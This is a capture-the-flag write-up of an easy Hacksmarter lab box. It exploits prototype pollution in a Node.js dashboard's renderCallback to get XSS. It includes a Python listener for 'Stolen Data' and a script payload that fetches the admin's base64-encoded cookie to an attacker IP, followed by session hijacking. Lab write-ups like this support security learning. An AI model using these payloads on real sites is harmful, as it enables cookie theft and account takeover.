Polution
Polution is an easy rated box from Hacksmarter. You’re provided with an initial set of credentials, and your goal is to perform privilege escalation to gain administrator access as shown below:

I ran nmap -A 10.1.59.199 -oA polution to find which ports were open. It apperas the site is running on a nodejs server.

Pulling up the NodeJS site presents a login page. I logged in with the provided credentials.

Once logged in, there’s 3 separate sections: Audit Logs, Webmail, and Incident Response. I’m able to access the first two, but not the Incident Response section as shown below:


I returned to the audit logs page, and reviewed the source code. As the name suggests, this is vulnerable to prototype pollution. The vulnerable code is boxed in red below:

The reason this is vulnerable is because there’s nothing blocking the use of various keys like constructor or __proto__ which can be used to an attacker’s advantage. We will be taking advantage of the renderCallback property to test XSS. What I used is shown below:
http://10.1.59.199:3000/dashboard/#__proto__.renderCallback=<img src=x onerror=alert("vulnerable")>
As expected, this pops up an alert box showing the word vulnerable. This means that this is vulnerable to prototype pollution!

Next, I assumed we need to get access to the admin user in order to view the incident response page. I created a python listener script as shown below:
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
class SimpleLogger(BaseHTTPRequestHandler):
def do_GET(self):
print(f"\n[+] Incoming Request: {self.path}")
# Parse the query parameters
parsed_path = urllib.parse.urlparse(self.path)
params = urllib.parse.parse_qs(parsed_path.query)
if 'c' in params:
print(f"[!] Stolen Data: {params['c'][0]}")
self.send_response(200)
self.end_headers()
self.wfile.write(b"Logged")
print("Listening on port 8000...")
HTTPServer(('0.0.0.0', 8000), SimpleLogger).serve_forever()
I saved this as listener.py and then ran it with python3 listener.py on my attacker machine. Back on the web application, I input the following in the message field and clicked on Send Secure Message:
http://10.1.59.199:3000/dashboard/#__proto__.renderCallback=<script>fetch('http://10.200.29.95:8000?c='+btoa(document.cookie))</script>
This abuses the renderCallback object and is sending the cookie to our attacker machine. The btoa portion base64 encodes the cookie in case there’s any weird characters that could cause issues.

After a few moments, I receive the following response in my listener on my attacker machine:

I decoded this with echo “c2Vzc2lvbj1IU19BRE1JTl83NzIxX1NFQ1VSRV9BVVRIX1RPS0VOOyB1c2VyPWFkbWlu” | base64 -d , which returns the following:

Now that we have the values for the admin’s token, let’s update our session cookie to match. Pull up developer tools and in the Storage tab, update the values to those uncovered above:

Reload the webpage and your user should now be admin in the upper right hand corner:

Navigating to the Incident Response page now is no longer forbidden, and returns the flag:
